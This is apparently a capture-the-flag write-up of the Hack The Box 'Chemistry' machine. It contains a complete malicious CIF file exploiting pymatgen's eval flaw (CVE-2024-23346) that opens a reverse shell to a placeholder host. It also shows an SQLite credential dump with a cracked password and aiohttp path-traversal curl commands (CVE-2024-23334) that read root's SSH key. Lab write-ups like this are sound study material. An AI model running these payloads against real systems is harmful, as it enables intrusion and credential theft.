Summary
Chemistry is an Easy Linux box on CVE-2024-23346 (pymatgen’s
CIF parser passes user input to eval() in symmetry transform
parsing). Upload a malicious .cif → RCE as app user. SQLite
DB has unsalted MD5 → rosa : unicorniosrosados → SSH. Privesc:
localhost monitoring site on :8080 runs aiohttp 3.9.1 (root)
with follow_symlinks=True on a static handler →
CVE-2024-23334 path traversal → read /root/.ssh/id_rsa.
The chain:
- CIF analyzer at
:5000. Build a CIF whose_space_group_magn.transform_BNS_Pp_abcfield is a Python expression that pymatgeneval’s. Reverse shell asapp. - SQLite at
~app/instance/database.db→ MD5 hashes →rosa : unicorniosrosados. SSH. :8080aiohttp 3.9.1 monitoring app withfollow_symlinks=Trueon its/assetsstatic handler.curl --path-as-isagainst/assets/../../../../root/root.txt(or/root/.ssh/id_rsa) reads anything as root — root.txt directly, no SSH key dance needed.
Recon
22/tcp OpenSSH
5000/tcp Flask "Chemistry CIF Analyzer"
8080/tcp localhost-only aiohttp 3.9.1 (root monitoring)
Foothold — CVE-2024-23346 (pymatgen CIF eval)
The trigger is picky in two ways that an “obvious” PoC misses:
- Do not include a
_space_group_symop_magn_operationloop. If present,CifParser.get_magsymops()takes the alternate branch and never callsMagneticSpaceGroup(id, jf)— the transform string is not parsed and the eval never fires. - Inline the obfuscated
__subclasses__access. A naïve__import__('os').system(...)payload returned 500 with no shell for me; the canonical 4xura.com CIF threads the call through().__class__.__mro__[1].__getattribute__(*[(...)]+["__sub" + "classes__"])()to reachBuiltinImporterand loadosfrom there. That version fires reliably.
The CIF itself must also be a valid structure (so pymatgen reaches
the magnetic block); reusing static/example.cif as the base avoids
the structural-parse 500.
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/<C2>/<p> 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Register at /register, log in, POST /upload with the file, then
GET /structure/<uuid> (the dashboard’s “View structure” link).
The structure view returns 500 — that’s expected, the parser dies
after the eval has already fired. Reverse shell lands as app.
User pivot — SQLite + MD5
$ sqlite3 ~app/instance/database.db "SELECT username,password FROM user;"
...
rosa|63ed86ee9f624c7b14f1d4f43dc251a5
# unsalted MD5; CrackStation -> unicorniosrosados
$ ssh rosa@<TARGET>
Privesc — CVE-2024-23334 (aiohttp follow_symlinks traversal)
rosa$ ss -tlnp | grep 8080
LISTEN ... 127.0.0.1:8080 ... aiohttp/3.9.1 (root)
# The static handler mounts at /assets (not /static) — feed the
# traversal directly to curl with --path-as-is so it doesn't
# normalise away the ../ segments.
rosa$ curl -s --path-as-is 'http://127.0.0.1:8080/assets/../../../../root/root.txt'
<root flag>
rosa$ curl -s --path-as-is 'http://127.0.0.1:8080/assets/../../../../root/.ssh/id_rsa'
-----BEGIN OPENSSH PRIVATE KEY-----
...
Reading /root/root.txt directly via the traversal lands the flag
without ever needing the SSH key — useful when the goal is just the
flag. The id_rsa path is still worth grabbing for follow-up access.
ssh -i id_rsa root@<TARGET>
Why each step worked
- CVE-2024-23346: pymatgen used
eval()on user input in CIF symmetry parsing; documented vulnerability with PoC. - MD5 + dictionary password: standard.
- CVE-2024-23334: aiohttp’s static handler with
follow_symlinks=Truedoesn’t resolve..within the static root before serving; documented and patched in 3.9.2.
Counterfactuals
- Patch pymatgen ≥ 2024.1.27 (CVE-2024-23346 fix).
- Use a real KDF.
- Patch aiohttp ≥ 3.9.2 (CVE-2024-23334 fix); never enable
follow_symlinkson user-reachable static handlers.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Chemistry” — https://0xdf.gitlab.io/2025/03/08/htb-chemistry.html
- IppSec, “Chemistry” video walkthrough — https://ippsec.rocks/?#Chemistry
- pymatgen + aiohttp security advisories.
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.